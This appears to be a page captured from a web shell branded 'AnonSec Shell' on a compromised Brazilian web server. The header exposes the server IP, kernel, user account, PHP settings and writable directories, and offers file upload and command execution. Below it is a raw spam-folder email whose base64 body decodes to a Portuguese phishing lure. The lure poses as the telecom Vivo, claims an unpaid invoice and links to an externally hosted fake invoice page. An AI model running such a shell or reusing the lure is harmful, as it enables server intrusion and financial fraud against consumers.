AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/././mail/.spam/new/1725113666.M514991P22503.dedi-4363141.lrsys.com.br,S=9037,W=9189
Return-Path: <dchex@suporte1.flyturviagens.com>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id baySHUIl02bnVwAAIWsJAg
	(envelope-from <dchex@suporte1.flyturviagens.com>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Sat, 31 Aug 2024 11:14:26 -0300
Return-path: <dchex@suporte1.flyturviagens.com>
Envelope-to: atendimento@lrsys.com.br
Delivery-date: Sat, 31 Aug 2024 11:14:26 -0300
Received: from suporte1.flyturviagens.com ([194.38.20.253]:58204)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.96.2)
	(envelope-from <dchex@suporte1.flyturviagens.com>)
	id 1skOrt-0005qN-2j
	for atendimento@lrsys.com.br;
	Sat, 31 Aug 2024 11:14:26 -0300
Received: from localhost (localhost [IPv6:::1])
	by suporte1.flyturviagens.com (Postfix) with UTF8SMTP id A4EA4855C5
	for <atendimento@lrsys.com.br>; Sat, 31 Aug 2024 16:13:35 +0200 (CEST)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 s=suporte1; d=suporte1.flyturviagens.com; t=1725113615;
  h=from:subject:date:message-id:to:mime-version:content-type:
 accept-language:user-agent:x-mailer:x-sender:content-language:
 list-unsubscribe; bh=FqgZaWAkYiNH1F96A7Ekx+MSQYLUSKlafN4QtGGY8K0=;
 b=U5DjvdYO0xhC7YZyZBBAX0Ec/jP+W3Sgoy6t7ArgLFKV6oGV6iYxeywhzwwLwwz4yydacT
 yIgbnZjlC7Ylm6CqesSG7hm2qUHRK3R2Bpew03Z2UXqjTwx5Khuv4CRwifHr8rpiVogmvx
 ArjyMJGCz6UdAaBdXaz6LVE+1nAQs0+wUtj25x8KT42wj6Zztl9eGaD0OxP5onqILW340a
 0KH0JuoG+gC1fOz8rRVPOyFCjp0YpODjTQrmn2DhHJXrsomt0fYa8RCs907/L4OoQAAM0X
 o/MAfshCZHWMv+8Icdr56n07hmesmT0dVwKGTY6Z3337lUYylY7ZG+bA7yiHHg==
Content-Language: pt-BR
Content-Type: multipart/alternative;
 boundary=08f924c5058f7f7ea8a4e85c3beea1290f1336ac4ef98486522a0599d708
Date: Sat, 31 Aug 2024 16:13:35 +0200
MIME-Version: 1.0
From: "Vivo Digital" <dchex@suporte1.flyturviagens.com>
To: <atendimento@lrsys.com.br>
List-Unsubscribe: 
 <https://suporte1.flyturviagens.com/?action=unsubscribe&u=atendimento@lrsys.com.br>
User-Agent: Roundcube Webmail/1.4.13
X-Sender: dchex@suporte1.flyturviagens.com
X-Mailer: Roundcube Webmail/1.4.13
Accept-Language: pt-BR, en-US
Message-Id: <f535684cd8814beacf03e9620a783db6@suporte1.flyturviagens.com>
X-Spam-Status: Yes, score=13.3
X-Spam-Score: 133
X-Spam-Bar: +++++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Protocolo: 19802586. Prezado Cliente Pedimos que confira o
    pagamento da sua Ășltima fatura, pois existem valores em aberto. 
 Content analysis details:   (13.3 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: prntscr.com]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                          [194.38.20.253 listed in sa-trusted.bondedsender.org]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [194.38.20.253 listed in bl.score.senderscore.com]
  4.5 URIBL_DBL_SPAM         Contains a spam URL listed in the Spamhaus DBL
                             blocklist
                             [URIs: flyturviagens.com]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.5 URI_NOVOWEL            URI: URI hostname has long non-vowel sequence
  1.5 HTML_IMAGE_ONLY_20     BODY: HTML: images with 1600-2000 bytes of
                             words
  0.0 HTML_MESSAGE           BODY: HTML included in message
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  0.1 URIBL_CSS_A            Contains URL's A record listed in the Spamhaus CSS
                             blocklist
                             [URIs: suporte1.flyturviagens.com]
  0.8 CPANEL_LOTS_OF_EMPTY_LINE RAW: Spam that has large block of
                             empty lines
 -0.0 T_SCC_BODY_TEXT_LINE   No description available.
  0.0 T_REMOTE_IMAGE         Message contains an external image
X-Spam-Flag: YES
Subject:  ***SPAM***  
 =?UTF-8?B?TyBwYWdhbWVudG8gZGUgc3VhIGZhdHVyYSBlc3TDoSBlbSBhdHJhc28u?=

--08f924c5058f7f7ea8a4e85c3beea1290f1336ac4ef98486522a0599d708
Content-Transfer-Encoding: base64
Content-Type: text/html; charset=UTF-8

CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgo8cD48aW1nIHNyYz0iaHR0cHM6Ly9pbWFnZS5wcm50c2NyLmNvbS9pbWFn
ZS9reHAzNDhVT1FvS0xNNHdHYnQwNXZRLnBuZyIgYWx0PSIiIHdpZHRoPSIzMDAiIGhlaWdodD0i
MTE4IiAvPjwvcD4NCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKPHA+
PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBib2xkOyBmb250LXNpemU6IDE4cHg7Ij5Qcm90b2Nv
bG86IDE5ODAyNTg2Ljwvc3Bhbj48L3A+DQoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgo8cD5QcmV6YWRvIENsaWVudGU8L3A+DQoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCjxwPlBlZGltb3MgcXVlIGNvbmZpcmEgbyBw
YWdhbWVudG8gZGEgc3VhIMO6bHRpbWEgZmF0dXJhLCBwb2lzIGV4aXN0ZW3CoHZhbG9yZXPCoGVt
IGFiZXJ0by48L3A+DQoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKPHA+RXN0b3UgZW5jYW1pbmhhZG8gcGFyYSBvIHNldSBlLW1haWwgY29udGEg
ZW0gYXRyYXNvIHBhcmEgcXVlIHZvY8OqIHBvc3NhIHJlZ3VsYXJpemFyIG8gcGFnYW1lbnRvIGUg
ZXZpdGFyIGJsb3F1ZWlvcyBkb3Mgc2V1cyBzZXJ2acOnb3MuPC9wPg0KCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKPHA+RGF0YSBkZSBWZW5jaW1lbnRvOiAyMC8wOC8yMDI0PC9wPg0KCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKPHA+VmFsb3IgZGEgRmF0dXJhOiBSJCA1MzcsMTI8
L3A+DQoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKPHA+PHN0cm9uZz48dSBzdHlsZT0iZm9udC1zaXplOiAyNHB4Ij48YSBo
cmVmPSJodHRwczovL2N0Y2NvbnN0cnVjb2VzZXNlcnZpY29zMS5ibG9iLmNvcmUud2luZG93cy5u
ZXQvd2ViL2luZGV4Lmh0bWw/aWQ9MjAiPkltcHJpbWlyIC8gRmF0dXJhOjwvYT48L3U+PC9zdHJv
bmc+PC9wPgo=
--08f924c5058f7f7ea8a4e85c3beea1290f1336ac4ef98486522a0599d708
Content-Transfer-Encoding: base64
Content-Type: text/plain; charset=UTF-8

UHJvdG9jb2xvOiAxOTgwMjU4Ni4NCg0KIFByZXphZG8gQ2xpZW50ZQ0KDQogUGVkaW1vcyBxdWUg
Y29uZmlyYSBvIHBhZ2FtZW50byBkYSBzdWEgw7psdGltYSBmYXR1cmEsIHBvaXMgZXhpc3RlbcKg
dmFsb3Jlc8KgZW0gYWJlcnRvLg0KDQogRXN0b3UgZW5jYW1pbmhhZG8gcGFyYSBvIHNldSBlLW1h
aWwgY29udGEgZW0gYXRyYXNvIHBhcmEgcXVlIHZvY8OqIHBvc3NhIHJlZ3VsYXJpemFyIG8gcGFn
YW1lbnRvIGUgZXZpdGFyIGJsb3F1ZWlvcyBkb3Mgc2V1cyBzZXJ2acOnb3MuDQoNCiBEYXRhIGRl
IFZlbmNpbWVudG86IDIwLzA4LzIwMjQNCg0KIFZhbG9yIGRhIEZhdHVyYTogUiQgNTM3LDEyDQoN
CiBodHRwczovL2N0Y2NvbnN0cnVjb2VzZXNlcnZpY29zMS5ibG9iLmNvcmUud2luZG93cy5uZXQv
d2ViL2luZGV4Lmh0bWw/aWQ9MjA=
--08f924c5058f7f7ea8a4e85c3beea1290f1336ac4ef98486522a0599d708--

Anon7 - 2022
AnonSec Team